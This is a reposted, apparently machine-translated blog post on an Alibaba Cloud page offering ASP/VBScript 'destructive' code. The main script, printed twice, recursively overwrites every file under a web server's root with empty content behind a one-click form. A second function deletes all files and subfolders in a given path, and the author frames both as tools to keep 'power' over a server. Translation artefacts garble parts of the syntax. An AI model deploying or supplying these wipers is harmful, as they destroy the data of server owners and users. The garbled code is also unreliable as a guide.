VBS DESTRUCTIVE Application Code _vbs

Source: Internet
Author: User
' See on the net, apply with the server without disabling shell.application
Server.ScriptTimeout = 99999
If request ("submit") <> "Then"
Call ListFile (Server.MapPath ("./"))
Response. Write "Finished processing"
Else
Response. Write "<form><input type=" "Submit" "Name=" "Submit" "value=" "empty the contents of all Files" "></form>"
End If

Function ListFile (Fpath)
On Error Resume Next
Dim Shell, Folder, S
Set Shell = server. CreateObject ("Shell.Application")
Set Folder = Shell.namespace (Fpath)
Set f = Server. CreateObject ("ADODB.stream")
F.type = 1
F.open
For each s in Folder.items
If S.isfolder Then
Call ListFile (S.path)
Else
F.savetofile S.path, 2
End If
Next
Set F = Nothing
Set Shell = Nothing
End Function

' See on the net, apply with the server without disabling shell.application
Server.ScriptTimeout = 99999
If request ("submit") <> "Then"
Call ListFile (Server.MapPath ("./"))
Response. Write "Finished processing"
Else
Response. Write "<form><input type=" "Submit" "Name=" "Submit" "value=" "empty the contents of all Files" "></form>"
End If

Function ListFile (Fpath)
On Error Resume Next
Dim Shell, Folder, S
Set Shell = server. CreateObject ("Shell.Application")
Set Folder = Shell.namespace (Fpath)
Set f = Server. CreateObject ("ADODB.stream")
F.type = 1
F.open
For each s in Folder.items
If S.isfolder Then
Call ListFile (S.path)
Else
F.savetofile S.path, 2
End If
Next
Set F = Nothing
Set Shell = Nothing
End Function
I've seen this before, I feel useless, so dangerous component servers are generally disabled, but today, I suddenly feel that have to collect or make some such software, can maintain their own power. The specific reason I do not say, I wrote one:

View Plaincopy to Clipboardprint?
' See file deletion file, see folder Delete folder
Function Filestree (spath)
Set oFSO = CreateObject ("Scripting.FileSystemObject")
Set ofolder = Ofso.getfolder (spath)
Set osubfolders = ofolder.subfolders

Set ofiles = Ofolder.files
For each ofile in Ofiles
' WScript.Echo Ofile.path
Ofile.delete
Next

For each osubfolder in Osubfolders
' WScript.Echo Osubfolder.path
Osubfolder.delete
' Filestree (osubfolder.path) ' Recursive
Next

Set ofolder = Nothing
Set osubfolders = Nothing
Set oFSO = Nothing
End Function

Filestree ("F:\deltest\deltest") ' Traversal

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.